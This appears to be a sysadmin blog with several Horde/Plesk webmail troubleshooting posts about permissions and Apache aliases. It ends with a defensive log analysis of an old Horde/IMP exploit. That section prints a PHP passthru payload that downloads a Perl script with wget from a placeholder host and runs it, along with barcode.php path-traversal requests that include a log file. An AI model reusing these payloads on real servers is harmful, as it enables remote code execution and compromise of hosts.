Horde: email sent but without attachments

I just had the following problem with Horde 5.1.5 on a Plesk 11.5.30 server: Emails could be sent with the webmailer, the mail contents were all fine except that no attachment was sent. There were no error uploading attachments. They just weren’t there anymore on the receiving side.

At first I thought it might be a problem with qmail, so I checked /var/qmail/control/databytes. It contained a 0 meaning unlimited. So it was not the problem.
Then I checked in the sent folder, it containted the following message:

Date: Mon, 17 Feb 2014 10:26:05 +0000
Message-ID: <20140217102605.Horde.K04MY6UxjZMSwHKs7gDH8A2@webmail.server.de>
From: user@server.de
To: user@server2.de
Subject: attachment
Received: from p54AB010E.dip0.t-ipconnect.de (p54AB010E.dip0.t-ipconnect.de
[]) by webmail.server.de (Horde Framework) with
HTTP; Mon, 17 Feb 2014 10:26:05 +0000
User-Agent: Internet Messaging Program (IMP) H5 (6.1.6)
Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline

So the attachment wasn’t to be seen there. So it was probably rather a problem with horde than qmail.

Then I checked the PHP setting to find out whether we might have hit a limit (although a 8K attachment should probably be under all set limits…). But both upload_max_filesize and post_max_size were set to a high value in php.ini.

So the only thing left was really Horde itself. Long story short, this ended up being a rights issue. The temporary directory used by Horde (/tmp/.horde) was owned by the apache user. Changing the owner to the Horde user did the trick:

chown -R horde_sysuser:horde_sysgroup /tmp/.horde/

Horde webmail showing the default Plesk page

After migrating all our domains to a new server, whenever you wanted to access emails using the Horde webmail UI, you’d see the default Plesk page instead of the Horde login page.

Executing the following didn’t help (so Horde was already properly installed):

# /opt/psa/admin/bin/webmailmng --install --name=horde
# /opt/psa/admin/bin/webmailmng --enable --name=horde
# /opt/psa/admin/sbin/httpdmng --reconfigure-all

Webmail was turned on for these domains. After some time I also noticed that horde.webmail.mydomain.com was showing the login page instead of webmail.mydomain.com. So it seemed to be more of an Apache configuration issue than a problem with the Plesk installation itself.

First I looked for the httpd.conf file for Plesk:

# l /etc/apache2/conf.d/*psa*
-rw-r----- 1 root www-data 402 Jan  2 23:20 /etc/apache2/conf.d/zz010_psa_httpd.conf

Then looked for the corresponding horde file:

# grep horde /etc/apache2/conf.d/zz010_psa_httpd.conf 
Include '/etc/apache2/plesk.conf.d/horde.conf'

In this file, you’ll see the following:

# grep webmail /etc/apache2/plesk.conf.d/horde.conf
    ServerName horde.webmail
    ServerAlias horde.webmail.*
    Include "/etc/apache2/plesk.conf.d/webmails/horde/*.conf"
        FcgidInitialEnv PP_CUSTOM_PHP_INI "/etc/psa-webmail/horde/horde/php.ini"

Ok, so I’ve now found out the reason why horde.webmail is used instead of webmail. While looking for a solution, I’ve also seen that the very first domain I had migrated (ams-traduction.com) didn’t have this problem. So there was something different about this domain.

Looking at the files in /etc/apache2/plesk.conf.d/webmails/horde/ I saw that it was the only domain for which there was a file in there (ams-traduction.com_webmail.conf).

This file contained the following:


ServerAlias “webmail.ams-traduction.com”

So that’s why I could use the webmail URL instead of the horde.webmail URL for this domain. But why didn’t I have files for the other domains ? Since it you basically only needed the last line in the file, I added files for all domains. After that it worked… Until the next Plesk update. During the Plesk update all files in there except the first one (which I hadn’t added) got deleted and I had again the same problem.

Of course one solution is to replace horde.webmail by webmail in /etc/apache2/plesk.conf.d/horde.conf. But I wasn’t sure whether this wouldn’t also get deleted.

After a long search I finally figured out what was the difference between this one domain and the others. They belonged to different Plesk subscriptions. Looking at the subscription settings in Plesk I saw that there was also a Webmail configuration. After selecting Horde there, all the files were created automatically and the problem was solved.

This doesn’t really make sense to me. Why would you be able to enable Horde both for a subscription or for a domain but have a different behavior… Well, everything is not always logical in Plesk… Now let’s see whether the next update will again break it !

Horde: Unable to get webmail password!

When accessing the Horde webmail page, we got a popup with the following text:

Unable to get webmail password!

And the login page was not displayed.

This error message comes from /usr/share/psa-horde/config/conf.php:

if (!($fd = fopen('/etc/psa-webmail/horde/.horde.shadow', 'r'))) {
  echo "<script>alert('Unable to get webmail password!')</script>";

So it failed while trying to read the password for the horde used from /etc/psa-webmail/horde/.horde.shadow.

If you look it up in Google, you’ll find a few pages suggesting one of these:

chmod 755 /etc /etc/psa-webmail /etc/psa-webmail/horde
chown root:apache /etc/psa-webmail/horde/.horde.shadow
chmod 640 /etc/psa-webmail/horde/.horde.shadow


chmod 755 /etc /etc/psa-webmail /etc/psa-webmail/horde
chown www-data:www-data /etc/psa-webmail/horde/.horde.shadow
chmod 640 /etc/psa-webmail/horde/.horde.shadow

Since our server runs Debian I went for the second one but it still didn’t work.
As the contents of the file seemed to be ok it was obviously a permission problem (as also pointed by those web pages). But the permissions set above didn’t work.
So my first solution was to change the permission on the .horde.shadow file as follows:

chmod 644 /etc/psa-webmail/horde/.horde.shadow

It then worked. Since the only difference is that I gave all users read access rights to the file. This is obviously not a very good solution. If I need to give access to other users, it means I have the wrong owner for the file.

Since I didn’t know which user horde was using (I had assumed it was using the apache user), I searched in the /etc/password file:

# cat /etc/passwd | grep horde
horde_sysuser:x:2523:2521:horde webmail user:/usr/share/psa-horde:/bin/false

OK, so the user is called horde_sysuser. I also found out it belongs to the group called horde_sysgroup (just lookup horde_sysuser in Google and you’ll find the right group or just check the /etc/group file).

So I changed the owner of the file:

chown horde_sysuser:horde_sysgroup /etc/psa-webmail/horde/.horde.shadow

And set back more restrictive permissions:

chmod 640 /etc/psa-webmail/horde/.horde.shadow

And it was still working !

Now the only remaining problem is that Plesk seems to change the permission of the file when applying some updates. So I’ll have to setup a cron job to change the owner and permissions just after a Plesk update until I’ve figured out how to teach Plesk not to mess with the file owner and permissions.

Plesk Exploit: Readable Logfile Vulnerability

A vulnerability scan has been performed on one of our servers at the beginning of the month. This last about 4 days. It was looking for a vulnerable versions of the Plesk control panel to exploit the Horde/IMP Plesk Webmail Exploit. Let’s have a look at how this looks like in a few log files:

First the attacker is checking which version of Horde is installed:

access_log:xx.xxx.xx.xxx - - [01/Jun/2013:15:05:42 +0200] "GET /horde/services/help/?show=about HTTP/1.1" 200 3326 "-" "HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.11"

If it finds a suitable version of Horde, it will go to the next steps:

access_log:xx.xxx.xx.xxx - - [01/Jun/2013:15:38:39 +0200] "POST /horde/imp/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv: Gecko/20091102 Firefox/3.5.5"

Here, the attacker sends a POST request to /horde/imp/redirect.php including some PHP code as the username. It usually uses the passthru PHP function which executes an external programm. The PHP code usually looks like this:

passthru('cd /tmp;wget http://xxx/yyy.txt;perl yyy.txt;rm -f yyy.txt');

It basically always does the the same:

  1. Go to the tmp directory
  2. Download a PERL script
  3. Execute the script
  4. Delete the script

There are a few variations:

  • The commands are executed using passthru, system, shell_exec or exec
  • The script is downloaded using wget, curl, fetch, GET, lwp-download or lynx
  • The downloaded file is a file with the .txt extension or has an image file extension and is renamed before being executed
  • Sometimes, the attacker also messes with the history so that you do not see what exactly happened

There are even scripts used which will use many of the combinations above just in case some of them do not work on this particular system.

This PHP code is written to the horde log file. It is then executed by using a vulnerability of barcode.php (or rather a vulnerability in Image.php which is called by barcode.php). This looks like this:

access_log:xx.xxx.xx.xxx - - [04/Jun/2013:15:38:41 +0200] " /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde.log%00 HTTP/1.1" 200 - "1" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv: Gecko/20091102 Firefox/3.5.5"

It will most probably also try different log file locations e.g.:

access_log:xx.xxx.xx.xxx - - [04/Jun/2013:15:38:40 +0200] " /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde/psa-horde.log%00 HTTP/1.1" 200 - "1" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv: Gecko/20091102 Firefox/3.5.5"

In many cases, the perl scripts will just install some additional PERL scripts used for DDOS attacks in your /var/www/vhost/xxx/cgi-bin directories. You can find such scripts using:

find /var/www/vhosts/[a-z]*/cgi-bin/*.pl

In order to protect your system, you should always install all Plesk security updates. This vulnerability is very old but seems to be still worth exploiting. There is also a fix for Image.php which can be downloaded here.

Note that the PERL scripts stored in your vhost folders are often well commented and you will find such comments in there:

#part of the Gootkit ddos system

Nice, isn’t it ? 😉